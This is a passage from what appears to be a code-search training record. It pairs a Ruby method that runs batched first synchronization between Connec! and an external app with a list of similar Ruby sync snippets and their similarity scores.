"def sync= sync_list\n cur_list = sync \n @removed_from_sync_list = cur_list[:with] - sync_list[:with] if sync_list[:with] && cur_list[:with]\n sync_list[:with] = sync_list[:with].select{|id| id != self.campaign_id } if sync_list[:with]\n super(sync_list.to_json)\n end",
"def sync_data(class_name)\n sync_class = class_name.constantize\n sync_results = []\n threads = remote_nodes.collect do |node|\n # Thread the sync for each node so that one node failure does\n # not interfere with other nodes.\n Thread.fork do\n sync_results << begin\n sync_class.new(local_node, node).sync\n rescue\n # allow sync_class to log exception details\n false\n end\n end\n end\n threads.each(&:join)\n sync_results.all?\n end",
"def are_synced\n where(sync_status: true).to_a\n end",
"def synchronized?; end",
"def call_priority_sync(ep_ref, conn)\n begin\n epe = EndProductEstablishment.find_by(reference_id: ep_ref)\n sync_status_before = epe.synced_status\n epe.sync!\n\n @run_log << OpenStruct.new(\n reference_id: epe.reference_id,\n last_synced_at: Time.zone.now,\n synced_status: epe.synced_status,\n prev_synced_status: sync_status_before,\n error: nil\n )\n rescue StandardError => error\n @run_log << OpenStruct.new(\n reference_id: epe.reference_id,\n last_synced_at: Time.zone.now,\n synced_status: epe&.synced_status ? epe.synced_status : nil,\n prev_synced_status: sync_status_before,\n error: error.message\n )\n @error_log << OpenStruct.new(\n reference_id: epe.reference_id,\n last_synced_at: Time.zone.now,\n synced_status: epe&.synced_status ? epe.synced_status : nil,\n prev_synced_status: sync_status_before,\n error: error.message\n )\n realtime_log_error_to_s3(epe.reference_id)\n end\n end",
"def after_save_actions\n Logger.d(\"Inside after_save_actions in User\")\n ContactsSync.new(@context, get(:auth_token)).sync if is_user_contacts_syncable? == true # non-blocking\n end",
"def transaction(force_sync = false, &block)\n # Ruby 1.9.3 does not support @mutex.owned?\n if @mutex.respond_to?(:owned?)\n force_sync = false if @mutex.locked? && @mutex.owned?\n else\n # If we allowed this in Ruby 1.9.3, it might possibly cause recursive\n # locking within the same thread.\n force_sync = false\n end\n if !force_sync && (@in_transaction || options[:without_mutex])\n block.call self\n else\n @mutex.synchronize do\n @in_transaction = true\n result = block.call\n @in_transaction = false\n result\n end\n end\n end",
"def exec_sync\n raise \"You must override `exec_sync' in your class\"\n end",
"def reconcile_mode\n @reconcile\n end",
"def sync\n @sync ||= Sync.new self\n end",
"def sync\n @sync ||= Sync.new self\n end",
"def configsyncd_state\n super\n end",
"def sync(options = {})\n @log.clear\n @platform.analyze\n # These paths are needed because Drupal allows libraries to be installed\n # inside modules. Hence, we must ignore them when synchronizing those modules.\n @makefile.each_library do |l|\n @libraries_paths << @platform.local_path + @platform.contrib_path + l.target_path\n end\n # We always need a local copy of Drupal core (either the version specified\n # in the makefile or the latest version), even if we are not going to\n # synchronize the core, in order to extract the list of core projects.\n if get_drupal\n if options[:nocore]\n blah \"Skipping core\"\n else\n sync_drupal_core\n end\n else\n return\n end\n sync_projects(options)\n sync_libraries unless options[:nolibs]\n # Process derivative builds\n @derivative_builds.each do |updater|\n updater.sync(options.merge(:nocore => true))\n @log.merge(updater.log)\n end\n return\n end",
"def fsync()\n #This is a stub, used for indexing\n end",
"def synchronizedObjects _args\n \"synchronizedObjects _args;\" \n end",
"def sync_datas_process\n SyncDatas.sync(self)\n # user = self\n end",
"def fsync\n end",
"def fsync\n end",
"def synchronize(mapping)\n Synchronizer.new(mapping).run(@changes)\n end",
"def client_contact_sync_params\n params.require(:client_contact_sync).permit(:client_contact_id, :acc_system_id, :time_stamp)\n end",
"def after_sync\n end",
"def sync\n OPENERP_MAPPING_SEED.map do |openerp_model, rails_data|\n rails_model = rails_data.camelize.constantize\n \n print_syncing(openerp_model, rails_model)\n rails_model.sync(openerp_model) \n\n end\n end"
] | [
"0.66411525",
"0.59989583",
"0.59356856",
"0.59096086",
"0.58785987",
"0.58742815",
"0.5601097",
"0.55811906",
"0.555252",
"0.5534722",
"0.55219615",
"0.55144244",
"0.5513175",
"0.5478699",
"0.54473746",
"0.5437034",
"0.5417752",
"0.5414169",
"0.540412",
"0.530393",
"0.530393",
"0.530393",
"0.5298401",
"0.5210932",
"0.5191218",
"0.51705575",
"0.5164037",
"0.5140645",
"0.5136119",
"0.5116098",
"0.5094701",
"0.5094701",
"0.5094651",
"0.50903636",
"0.50869703",
"0.50795984",
"0.507825",
"0.5076196",
"0.5057926",
"0.50573725",
"0.5053646",
"0.50403357",
"0.50337213",
"0.50295275",
"0.5014356",
"0.5004044",
"0.49955004",
"0.4993299",
"0.4986731",
"0.49857557",
"0.4977299",
"0.49757043",
"0.49748513",
"0.49712196",
"0.49600095",
"0.49411404",
"0.4930857",
"0.49222818",
"0.49185637",
"0.48823324",
"0.48823324",
"0.48751813",
"0.48730674",
"0.4863555",
"0.4851495",
"0.48496273",
"0.48410898",
"0.48290628",
"0.48193902",
"0.4813894",
"0.48122427",
"0.48086968",
"0.48071584",
"0.48048607",
"0.47991976",
"0.47952557",
"0.47952557",
"0.47942096",
"0.47847918",
"0.47791",
"0.47786364",
"0.47773826",
"0.4773797",
"0.4765596",
"0.47627106",
"0.4756999",
"0.47569418",
"0.47538224",
"0.47538224",
"0.47466528",
"0.4745039",
"0.4727439",
"0.4721388",
"0.47109944",
"0.47091264",
"0.47091264",
"0.4705602",
"0.4705417",
"0.4701216",
"0.46956444"
] | 0.66044074 | 1 |
Does a batched sync on either external or connec! | def first_sync_entity(entity_name, organization, connec_client, external_client, last_synchronization_date, opts, external = true)
limit = Settings.first_sync_batch_size || 50
skip = 0
entities_count = limit
last_first_record = nil
h = {__limit: limit}
external ? h[:__skip_connec] = true : h[:__skip_external] = true
entity_instance = instanciate_entity(entity_name, organization, connec_client, external_client, opts.merge(h))
# IF entities_count > limit
# This first sync feature is probably not implemented in the connector
# because it fetched more than the expected number of entities
# No need to fetch it a second Time
# ELSIF entities_count < limit
# No more entities to fetch
while entities_count == limit
entity_instance.opts_merge!(__skip: skip)
perform_hash = perform_sync(entity_instance, last_synchronization_date, external)
entities_count = perform_hash[:count]
# Safety: if the connector does not implement batched calls but has exactly limit entities
# There is a risk of infinite loop
# We're comparing the first record to check that it is different
first_record = Digest::MD5.hexdigest(perform_hash[:first].to_s)
break if last_first_record && first_record == last_first_record
last_first_record = first_record
skip += limit
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def sync() end",
"def sync() end",
"def sync() end",
"def sync; end",
"def fsync() end",
"def fsync() end",
"def fsync() end",
"def sync\n end",
"def sync\n end",
"def fsync\n end",
"def fsync\n end",
"def sync(&block)\n queue SyncCommand, [], {}, &block\n end",
"def sync_io!\n [input, output, error_output].each do |io|\n io.sync = true if io.respond_to?(:sync=)\n end\n end",
"def old_sync; end",
"def fsync()\n #This is a stub, used for indexing\n end",
"def iosync\n @tc_storage.sync\n @tc_log.sync\n @tc_heads.sync\n nil\n end",
"def sync()\n #This is a stub, used for indexing\n end",
"def sync!\n events = @matrix.sync since: @since\n process_sync events\n rescue ApiError => err\n broadcast(:sync_error, err)\n end",
"def sync\r\n\t\tsend('SYN', '0 0')\r\n\t\treturn 1\r\n\tend",
"def sync=\n end",
"def fdatasync\n fsync\n end",
"def iosync\n @tc_bdb.sync\n end",
"def sync_all_data\n return if self.disabled?\n self.sync_availability\n self.sync_rate\n self.sync_stop_sell\n self.sync_min_stay\n\n if self.channel == GtaTravelChannel.first\n self.sync_gta_travel_cta\n self.sync_gta_travel_ctb\n else\n self.sync_cta if Constant::SUPPORT_CTA.include?(self.channel)\n self.sync_ctd if Constant::SUPPORT_CTD.include?(self.channel)\n end\n end",
"def sync_data\n\t\tSYNC_TABLES.each do |sync|\n\t\t\tself.sync_table(sync)\n\t\tend\n\tend",
"def sync\n run 'sync', :quiet => true\n end",
"def old_sync=(_arg0); end",
"def sync\n cached_dataset(:_sync) do\n clone(:async=>false)\n end\n end",
"def sync\n # Update info in background\n Thread.new do\n if Qbo.exists?\n Customer.sync\n QboItem.sync\n QboEmployee.sync\n QboEstimate.sync\n QboInvoice.sync\n \n # Record the last sync time\n Qbo.update_time_stamp\n end\n ActiveRecord::Base.connection.close\n end\n\n redirect_to qbo_path(:redmine_qbo), :flash => { :notice => \"Successfully synced to Quickbooks\" }\n end",
"def synchronous!\n @asynchronous = false\n end",
"def fetch_and_enqueue(force_all_syncs=false)\n begin\n if force_all_syncs\n query = db.fetch(%Q(\n SELECT r.name, r.id FROM #{relation} r, users u WHERE\n (r.state = '#{CartoDB::Synchronization::Member::STATE_SUCCESS}'\n OR r.state = '#{CartoDB::Synchronization::Member::STATE_SYNCING}')\n AND u.id = user_id AND u.state = '#{Carto::User::STATE_ACTIVE}'\n ))\n else\n query = db.fetch(%Q(\n SELECT r.name, r.id, r.user_id FROM #{relation} r, users u\n WHERE EXTRACT(EPOCH FROM r.run_at) < #{Time.now.utc.to_f}\n AND u.id = user_id AND u.state = '#{Carto::User::STATE_ACTIVE}'\n AND\n (\n r.state = '#{CartoDB::Synchronization::Member::STATE_SUCCESS}'\n OR (r.state = '#{CartoDB::Synchronization::Member::STATE_FAILURE}'\n AND r.retried_times < #{CartoDB::Synchronization::Member::MAX_RETRIES})\n )\n ORDER BY ran_at\n ))\n end\n success = true\n rescue Exception => e\n success = false\n print_log(\"ERROR fetching sync tables: #{e.message}, #{e.backtrace}\", true)\n end\n\n if success\n print_log \"Fetched #{query.count} records\"\n force_all_syncs ? enqueue_all(query) : enqueue_rate_limited(query)\n end\n\n self\n end",
"def _start_updates\n\n t = Thread.new do\n packet_manager = PacketManager.instance\n loop do\n # update pacekts\n list_updated = packet_manager.update_streams\n # send\n @clients.each_index do |i|\n c = @clients[i]\n list_updated.each do |p|\n begin\n send_stream(c, p)\n rescue => e\n @clients[i] = nil # to be removed\n PadoaukLog.info \"terminated connection from #{c.peeraddr.to_s}\", self\n c.close\n break # break list_updated.each\n end\n end\n end\n @clients.delete_if { |e| e == nil }\n\n Thread.stop\n end\n end\n\n add_task(t)\n\n end",
"def pre_sync\n #move\n end",
"def sync(&b)\n @m.synchronize &b\n end",
"def auto_sync_transaction\n prev = Device.current\n Device.current = self\n yield\n Device.current = prev\n end",
"def sync_send\n sync_write.putc(\"!\")\n sync_write.flush\n end",
"def sync=(p0) end",
"def sync=(p0) end",
"def sync=(p0) end",
"def sync_data(class_name)\n sync_class = class_name.constantize\n sync_results = []\n threads = remote_nodes.collect do |node|\n # Thread the sync for each node so that one node failure does\n # not interfere with other nodes.\n Thread.fork do\n sync_results << begin\n sync_class.new(local_node, node).sync\n rescue\n # allow sync_class to log exception details\n false\n end\n end\n end\n threads.each(&:join)\n sync_results.all?\n end",
"def sync\n logger.info \"Syncing EVERYTHING\"\n # Update info in background\n Thread.new do\n if Qbo.exists?\n Customer.sync\n Invoice.sync\n QboItem.sync\n Employee.sync\n Estimate.sync\n \n # Record the last sync time\n Qbo.update_time_stamp\n end\n ActiveRecord::Base.connection.close\n end\n\n redirect_to :home, :flash => { :notice => \"Successfully synced to Quickbooks\" }\n end",
"def sync\n pull && push\n end",
"def flush!\n synchronize do\n patch_batch!\n @cond.broadcast\n end\n\n self\n end",
"def sync\n TaskwarriorWeb::Command.new(:sync, nil, nil).run\n end",
"def finish_synchronize; end",
"def start_partial_sync\n while c = @serv.accept\n Thread.start do\n begin\n @threads << Thread.current\n loop do\n begin\n x = Dr2::Types.read(c, [Dr2::Types::Message,\n Dr2::Types::Error])\n receive x, c\n rescue Dr2::Types::EOFException\n break\n rescue Exception\n Dr2::Types.writer($!).write_dr2(c)\n end\n end\n ensure\n c.close rescue nil\n @threads.delete Thread.current\n end\n end\n end\n end",
"def sync\n unlock if locked?\n lock\n PATH()\n end",
"def batch_connections\n @countdown = ConnectionHandler.countdown(2)\n \n Rails.logger.info \"INFO Starting EventMachine\"\n EventMachine.run do\n \n followers_req = EventMachine::HttpRequest.new(@twitter_url + '/1.1/followers/ids.json')\n followers_req.use EventMachine::Middleware::OAuth, @oauth_config\n \n friends_req = EventMachine::HttpRequest.new(@twitter_url + '/1.1/friends/ids.json')\n friends_req.use EventMachine::Middleware::OAuth, @oauth_config\n friends = friends_req.get\n \n friends.callback do\n raise \"Failed to get friends ids \" unless friends.response_header.status ==200\n @friend_ids = MultiJson.load( friends.response )['ids']\n connection_type = TwitterFriendship\n @old_friends, @new_friends = split_persisted(@friend_ids, connection_type )\n Rails.logger.debug \"DJ_TWITTER Friends: #{@friend_ids.length} New: #{@new_friends.length} Old:#{@old_friends.length}\"\n @countdown.add( (@new_friends.length / @twitter_batch_size.to_f ).ceil.to_i )\n @friend_ids.each_slice( @twitter_batch_size ).map{ |batch| dispatch_friends(batch) } \n stop_if_finished\n end\n\n followers = followers_req.get\n followers.callback do \n raise \"Failed to get follower ids \" unless followers.response_header.status ==200\n @follower_ids = MultiJson.load( followers.response )['ids']\n connection_type = TwitterFollowership\n @old_followers, @new_followers = split_persisted(@follower_ids, connection_type) \n Rails.logger.debug \"DJ_TWITTER Friends: #{@follower_ids.length} New: #{@new_followers.length} Old:#{@old_followers.length}\"\n @countdown.add ( ( @new_followers.length / @twitter_batch_size.to_f ) .ceil.to_i )\n @follower_ids.each_slice(@twitter_batch_size).map{ |batch| dispatch_followers(batch) }\n stop_if_finished \n end\n\n friends.errback do\n Rails.logger.fatal \"FATAL Failed to Retrieve Twitter Friends List\"\n stop_if_finished\n end\n\n followers.errback do\n Rails.logger.fatal \"FATAL Failed to Retrieve Twitter Follower List\"\n stop_if_finished\n end\n \n end\n Rails.logger.info \"INFO Stopping EventMachine\"\n end",
"def synchronized?; end",
"def local_flush\n end",
"def batch_connections\n @countdown = ConnectionHandler.countdown(2)\n EventMachine.run do\n \n followers_req = EventMachine::HttpRequest.new(@twitter_url + '/1/followers/ids.json')\n followers_req.use EventMachine::Middleware::OAuth, @oauth_config\n \n friends_req = EventMachine::HttpRequest.new(@twitter_url + '/1/friends/ids.json')\n friends_req.use EventMachine::Middleware::OAuth, @oauth_config\n friends = friends_req.get\n friends.callback do\n raise \"Failed to get friends ids \" unless friends.response_header.status ==200\n @friend_ids = MultiJson.load( friends.response )['ids']\n @countdown.add( (@friend_ids.length / @twitter_batch_size.to_f ).ceil.to_i )\n @friend_ids.each_slice( @twitter_batch_size ).map{ |batch| dispatch_friends(batch) } \n stop_if_finished\n end\n\n followers = followers_req.get\n followers.callback do \n raise \"Failed to get follower ids \" unless followers.response_header.status ==200\n @follower_ids = MultiJson.load( followers.response )['ids']\n @countdown.add ( ( @follower_ids.length / @twitter_batch_size.to_f ) .ceil.to_i )\n @follower_ids.each_slice(@twitter_batch_size).map{ |batch| dispatch_followers(batch) }\n stop_if_finished \n end\n\n friends.errback do\n puts \"Failed to Retrieve Twitter Friends List\"\n stop_if_finished\n end\n\n followers.errback do\n puts \"Failed to Retrieve Twitter Follower List\"\n stop_if_finished\n end\n \n end\n end",
"def process_sync(events)\n return unless events.is_a? Hash\n @since = events['next_batch']\n broadcast(:sync, events)\n\n @rooms.process_events events['rooms'] if events.key? 'rooms'\n end",
"def tsync\n @tmutex.synchronize do\n yield\n end\n end",
"def sync\n each_difference(local_resources, true) { |name, diffs| sync_difference(name, diffs) }\n end",
"def start_synchronize(updater); end",
"def remote_sync_if_necessary(options={})\n false\n end",
"def sync\n if not cloned?\n clone\n else\n update\n end\n end",
"def mon_synchronize(&b)\n @mon_data.synchronize(&b)\n end",
"def sync_civet_outputs #:nodoc:\n self.get_civet_outputs.each { |co| co.sync_to_cache }\n end",
"def sync\n local_directories.each do |local_directory|\n if settings[:dry_run]\n log.info(sync_command(local_directory))\n else\n IO.popen(sync_command(local_directory)).each { |line| handle_output(line) }\n end\n end\n end",
"def insync?(is)\n return true\n end",
"def sync!(jobs, timeout = -1)\n DRMAA.synchronize(jobs, timeout, true)\n end",
"def flush_async\n activity_buffer.flush_async\n end",
"def synchronize(*)\n if ActiveRecord.version >= Gem::Version.new(\"5.1.0\")\n activerecord_connection.lock.synchronize do\n yield activerecord_raw_connection\n end\n else\n yield activerecord_raw_connection\n end\n end",
"def sync\n @data_file.fsync\n end",
"def send_to peer\n peer.semaphore.synchronize do \n data = { id: service_id, data: self.data }.to_json\n buffer = Buffer::Writer.new data\n buffer.segments.each { |segment| peer.send_data segment }\n peer.last_used_at = Time.now\n sleep 0.3\n end\n end",
"def sync_all!(timeout = -1)\n DRMAA.synchronize([ ALL_JOBS ], timeout, true)\n end",
"def sync_all!(timeout = -1)\n DRMAA.synchronize([ ALL_JOBS ], timeout, true)\n end",
"def start_syncing(peer, task: Async::Task.current)\n peer_entry = @peers[peer]\n return if peer_entry.syncing\n\n peer_entry.syncing = true\n task.async do\n peer_max_header = peer_header = peer_entry.receive_header\n local_header = chain.head\n start_height = [peer_header.number, local_header.number].min\n\n # find common height\n while local_header.get_hash != peer_header.get_hash && !peer_entry.stopping\n local_header = chain.get_block_by_number start_height\n peer_header = peer_entry.fetch_peer_header start_height\n start_height -= 1\n end\n\n loop do\n\n # exit if peer is stopping\n break if peer_entry.stopping\n\n # start from common + 1 block\n start_height = local_header.number + 1\n\n end_height = [start_height + MAX_BLOCKS_SYNCING, peer_max_header.number].min\n\n if start_height < 1 || start_height > end_height\n raise 'peer is incorrect'\n end\n\n info \"Start syncing with Peer##{peer}, from #{start_height} to #{end_height}\"\n\n (start_height..end_height).each do |height|\n header = peer_entry.fetch_peer_header height\n bodies = peer_entry.fetch_peer_body([header.get_hash])\n block = POWChain::Block.new(header: header, transactions: bodies[0].transactions, ommers: bodies[0].ommers)\n # insert to chain....\n chain.write_block(block)\n local_header = header\n end\n start_height = end_height + 1\n\n break if end_height >= peer_max_header.number\n end\n rescue StandardError => e\n error(\"exception occur when syncing with #{peer}, error: #{e}\")\n deregister_peer(peer_entry)\n end\n end",
"def doSync(options = {})\n #N Without this, the content files will be cleared regardless of whether :full options is specified\n if options[:full]\n #N Without this, the content files won't be cleared when the :full options is specified\n clearCachedContentFiles()\n end\n #N Without this, the required content information won't be retrieved (be it from cached content files or from the actual locations)\n getContentTrees()\n #N Without this, the required copy and delete operations won't be marked for execution\n markSyncOperations()\n #N Without this, we won't know if only a dry run is intended\n dryRun = options[:dryRun]\n #N Without this check, the destination cached content file will be cleared, even for a dry run\n if not dryRun\n #N Without this check, the destination cached content file will remain there, even though it is stale once an actual (non-dry-run) sync operation is started.\n @destinationLocation.clearCachedContentFile()\n end\n #N Without this, the marked copy operations will not be executed (or in the case of dry-run, they won't be echoed to the user)\n doAllCopyOperations(dryRun)\n #N Without this, the marked delete operations will not be executed (or in the case of dry-run, they won't be echoed to the user)\n doAllDeleteOperations(dryRun)\n #N Without this check, the destination cached content file will be updated from the source content file, even if it was only a dry-run (so the remote location hasn't actually changed)\n if (not dryRun and @destinationLocation.cachedContentFile and @sourceLocation.cachedContentFile and\n File.exists?(@sourceLocation.cachedContentFile))\n #N Without this, the remote cached content file won't be updated from local cached content file (which is a reasonable thing to do assuming the sync operation completed successfully)\n FileUtils::Verbose.cp(@sourceLocation.cachedContentFile, @destinationLocation.cachedContentFile)\n end\n #N Without this, any cached SSH connections will remain unclosed (until the calling application has terminated, which may or may not happen soon after completing the sync).\n closeConnections()\n end",
"def sync\n self.disabled_reason = nil\n if valid?\n execute_sync\n true\n else\n false\n end\n end",
"def flush(&blk)\n queue_server_rt(&blk) if blk\n end",
"def perform_sync(entity_instance, last_synchronization_date, external = true)\n entity_instance.before_sync(last_synchronization_date)\n external_entities = entity_instance.get_external_entities_wrapper(last_synchronization_date)\n connec_entities = entity_instance.get_connec_entities(last_synchronization_date)\n mapped_entities = entity_instance.consolidate_and_map_data(connec_entities, external_entities)\n entity_instance.push_entities_to_external(mapped_entities[:connec_entities])\n entity_instance.push_entities_to_connec(mapped_entities[:external_entities])\n entity_instance.after_sync(last_synchronization_date)\n\n entity_instance.class.count_and_first(external ? external_entities : connec_entities)\n end",
"def batch\n mon_synchronize do\n begin\n original, @client = @client, SSDB::Batch.new\n yield(self)\n @client.values = original.perform(@client)\n ensure\n @client = original\n end\n end\n end",
"def batch\n mon_synchronize do\n begin\n original, @client = @client, SSDB::Batch.new\n yield(self)\n @client.values = original.perform(@client)\n ensure\n @client = original\n end\n end\n end",
"def sync\n\t\ttask = queue( Proc.new { } )\n\t\ttask.wait\n\tend",
"def sync=(arg0)\n end",
"def sync_cmd\n warn(\"Legacy call to #sync_cmd cannot be preserved, meaning that \" \\\n \"test files will not be uploaded. \" \\\n \"Code that calls #sync_cmd can now use the transport#upload \" \\\n \"method to transfer files.\")\n end",
"def sync\n # We replicate our state to the management node(s)\n management_nodes = find_management_nodes\n management_nodes.each do |mng_node|\n remote_db = mng_node.get_node_db\n from_success = @our_node.replicate_from(local_node_db, mng_node, remote_db)\n to_success = @our_node.replicate_to(local_node_db, mng_node, remote_db)\n if from_success && to_success && !our_node.is_management\n break\n end\n end\n end",
"def sync_with_remote_server\n begin\n if recently_created? || remote_id.blank?\n # create_on_remote_server\n Delayed::Job.enqueue(VrboUpdater.new(self.id, :action => :create))\n else\n # update_on_remote_server\n Delayed::Job.enqueue(VrboUpdater.new(self.id, :action => :update))\n end\n rescue VrboProxy::Error => e\n errors.add(:save_on_remote_server, e.to_s)\n false\n end\n end",
"def touch_sync\n self.lastSyncAt = Time.now if self.respond_to?(:lastSyncAt=)\n end",
"def sync\n Logger.d(\"Sync invoked for ContactsSync\")\n find_all_contacts_with_email { |emails|\n Logger.d(\"Going to sync #{emails.length} contacts\")\n # Save the contacts on the server \n json = {\n :user => {\n :contacts => emails\n },\n :auth_token => @auth_token\n }.to_json\n\n on_api_call_failed = Proc.new { |json_obj|\n Logger.d(\"API CALL FAILED in ContactsSync.sync\", \">\")\n } \n\n # Save on network\n network_post(CONFIG.get(:sync_contacts), nil, json, on_api_call_failed) do |response_obj|\n Logger.d(\"Contacts sync done\", \":) \")\n end \n }\n end",
"def autoflush\n @connection.autoflush\n end",
"def perform(organization_id, opts = {})\n organization = Maestrano::Connector::Rails::Organization.find(organization_id)\n return unless organization&.sync_enabled\n\n # Check if previous synchronization is still running\n if Maestrano::Connector::Rails::Synchronization.where(organization_id: organization.id, status: 'RUNNING').where(created_at: (30.minutes.ago..Time.now.utc)).exists?\n Maestrano::Connector::Rails::ConnectorLogger.log('info', organization, 'Synchronization skipped: Previous synchronization is still running')\n return\n end\n\n # Check if recovery mode: last 3 synchronizations have failed\n if !opts[:forced] && organization.last_three_synchronizations_failed? \\\n && organization.synchronizations.order(created_at: :desc).limit(1).first.updated_at > 1.day.ago\n Maestrano::Connector::Rails::ConnectorLogger.log('info', organization, 'Synchronization skipped: Recovery mode (three previous synchronizations have failed)')\n return\n end\n\n # Trigger synchronization\n Maestrano::Connector::Rails::ConnectorLogger.log('info', organization, \"Start synchronization, opts=#{opts}\")\n current_synchronization = Maestrano::Connector::Rails::Synchronization.create_running(organization)\n\n begin\n last_synchronization = organization.last_successful_synchronization\n last_synchronization_date = organization.last_synchronization_date\n connec_client = Maestrano::Connector::Rails::ConnecHelper.get_client(organization)\n external_client = Maestrano::Connector::Rails::External.get_client(organization)\n\n # First synchronization should be from external to Connec! only to let the smart merging works\n # We do a doube sync: only from external, then only from connec!\n # We also do batched sync as the first one can be quite huge\n if last_synchronization.nil?\n Maestrano::Connector::Rails::ConnectorLogger.log('info', organization, 'First synchronization ever. Doing two half syncs to allow smart merging to work its magic.')\n organization.synchronized_entities.each do |entity, settings|\n next unless settings[:can_push_to_connec] || settings[:can_push_to_external]\n\n Maestrano::Connector::Rails::ConnectorLogger.log('info', organization, \"First synchronization ever. Doing half sync from external for #{entity}.\")\n first_sync_entity(entity.to_s, organization, connec_client, external_client, last_synchronization_date, opts, true)\n Maestrano::Connector::Rails::ConnectorLogger.log('info', organization, \"First synchronization ever. Doing half sync from Connec! for #{entity}.\")\n first_sync_entity(entity.to_s, organization, connec_client, external_client, last_synchronization_date, opts, false)\n end\n elsif opts[:only_entities]\n Maestrano::Connector::Rails::ConnectorLogger.log('info', organization, \"Synchronization is partial and will synchronize only #{opts[:only_entities].join(' ')}\")\n # The synchronization is marked as partial and will not be considered as the last-synchronization for the next sync\n current_synchronization.mark_as_partial\n opts[:only_entities].each do |entity|\n sync_entity(entity, organization, connec_client, external_client, last_synchronization_date, opts)\n end\n else\n organization.synchronized_entities.each do |entity, settings|\n next unless settings[:can_push_to_connec] || settings[:can_push_to_external]\n\n sync_entity(entity.to_s, organization, connec_client, external_client, last_synchronization_date, opts)\n end\n end\n\n Maestrano::Connector::Rails::ConnectorLogger.log('info', organization, \"Finished synchronization, organization=#{organization.uid}, status=success\")\n current_synchronization.mark_as_success\n rescue => e\n Maestrano::Connector::Rails::ConnectorLogger.log('warn', organization, \"Finished synchronization, organization=#{organization.uid}, status=error, message=\\\"#{e.message}\\\" backtrace=\\\"#{e.backtrace}\\\"\")\n current_synchronization.mark_as_error(e.message)\n end\n end",
"def synchronize\n\n # individual settings are done e.g. in customers_controller.rb#deprovision\n @partentTargets = nil if @partentTargets.nil? \n\n @async_all = true if @async && @async_all.nil?\n @async_individual = true if @async && @async_individual.nil?\n\n @recursive_all = false if @recursive_all.nil?\n @recursive_individual = true if @recursive_individual.nil?\n\n if @async_all\n being_all = \"being \"\n else\n being_all = \"\"\n end\n\n if @async_individual\n being_individual = \"being \"\n else\n being_individual = \"\"\n end\n \n #raise ENV[\"WEBPORTAL_SYNCHRONIZE_ALL_ABORT_ON_ABORT\"].inspect\n #raise (!@async_all).inspect\n if ENV[\"WEBPORTAL_SYNCHRONIZE_ALL_ABORT_ON_ABORT\"] == \"true\" || @async_all\n # in case of asynchronous synchronization, we always allow to abort on abort, since this will trigger delayed_job to retry\n # in case of synchronous synchronization, we allow to abort on abort only, if WEBPORTAL_SYNCHRONIZE_ALL_ABORT_ON_ABORT is set to \"true\"\n @abortOnAbort = true\n else\n # in case of synchronous synchronization and WEBPORTAL_SYNCHRONIZE_ALL_ABORT_ON_ABORT is not set to \"true\", we proceed even after an abort (e.g. if a target is unreachable, other targets will still be synchronized)\n @abortOnAbort = false\n end\n #raise @abortOnAbort.inspect\n\n # note: @id needs to be set in the individual child classes (e.g. Customer/Site/User)\n if @id.nil?\n #\n # PATCH /customers/synchronize\n #\n # if @id is nil, we assume that all Customers/Sites/Users needs to be synchronized:\n\n @myClass.synchronizeAll(@partentTargets, @async_all, @recursive_all, @abortOnAbort)\n redirect_to :back, notice: \"All #{@myClass.name.pluralize} are #{being_all}synchronized.\"\n else\n #\n # PATCH /customers/1/synchronize\n #\n # if @id is not nil, an individual Customer/Site/User with id==@id is synchronized:\n \n @provisioningobject = @myClass.find(@id)\n @provisioningobject.synchronize(@async_individual, @recursive_individual)\n redirect_to :back, notice: \"#{@provisioningobject.class.name} #{@provisioningobject.name} is #{being_individual}synchronized.\"\n end\n end",
"def sync!(jobs, timeout = -1)\n DRMAA.synchronize(jobs, timeout, true)\n end",
"def sync_local\n sync_hash = {\n ['~/Library/Application\\\\ Support/Firefox', '~/Library/Application\\\\ Support/Quicksilver',\n '~/Library/Preferences' ] =>'library/',\n ['~/.boson', '~/.sake', '~/.cronrc', '~/.gemrc', '~/.gitconfig', '~/.gem/specs']=>'dotfiles/',\n }\n sync_hash.each do |src, dest|\n src.each do |e| \n cmd = \"rsync -av #{e} #{File.join('~/backup', dest)}\"\n system cmd\n end\n end\n end",
"def sync(&block)\n # Lock usage:\n # 1. @stop.mutex->@is_synching.mutex\n # 2. insert_to_backlog()\n # 3. stop_synching?()\n\n @stop.use do |stop, stop_mutex|\n @is_synching.use do |is_synching, is_synching_mutex|\n if is_synching then\n return\n else\n @stop.set_wo_lock(false)\n @is_synching.set_wo_lock(true)\n end\n end\n end\n\n last_timestamp = (@checkpoint.nil? ? nil : @checkpoint.commit_ts)\n cursor = init_sync(@checkpoint)\n\n yield :finished_dumping, 0 if block_given?\n\n loop do\n return if stop_synching?\n doc_batch = []\n ns_set_snapshot = get_ns_set_snapshot\n doc_count = 0 # count for the current batch\n cursor_exception_occured = false\n\n loop do\n begin\n doc = cursor.next_document\n rescue => e\n @logger.error \"#{@name}: #{get_full_exception_msg(e)}\"\n cursor_exception_occured = true\n yield :excep, doc_count if block_given?\n break\n end\n\n if doc.nil? then\n break\n else\n if insert_to_backlog(doc) then\n # Do nothing\n elsif filter_entry?(ns_set_snapshot, doc[\"ns\"]) then\n @logger.debug \"#{@name}: skipped oplog: #{doc}\"\n else\n doc_batch << doc\n doc_count += 1\n end\n\n last_timestamp = doc[\"ts\"]\n end\n\n return if stop_synching?\n break if doc_count > OPLOG_BATCH_SIZE\n end\n\n update_solr(doc_batch, true) unless doc_batch.empty?\n\n yield :sync, doc_count if block_given?\n\n sleep @update_interval unless @update_interval.zero?\n\n # Setting of cursor was deferred until here to do work with Solr while\n # waiting for connection to Mongo to recover.\n if cursor_exception_occured then\n if last_timestamp.nil? then\n cursor = retry_until_ok do\n timestamp = get_last_oplog_timestamp\n get_oplog_cursor(timestamp)\n end\n else\n cursor = retry_until_ok { get_oplog_cursor_w_check(last_timestamp) }\n end\n\n if cursor.nil? then\n if @auto_dump then\n cursor = perform_full_dump\n else\n raise StaleCursorException, STALE_CURSOR_MSG\n end\n end\n\n yield :cursor_reset, doc_count if block_given?\n end\n end\n end",
"def sync_jobs(jobs)\n Job.sync_jobs!(@context, jobs)\n end",
"def sync(jobs, timeout = -1)\n DRMAA.synchronize(jobs, timeout, false)\n end",
"def sync(&block)\r\n thread_lock.synchronize &block\r\n end",
"def rsync( srcs, target, opts )\n @commands << rsync_args( host, srcs, target, opts )\n ( rand(2) == 1 ) ? [ [ 'something', 'somefile' ] ] : []\n end",
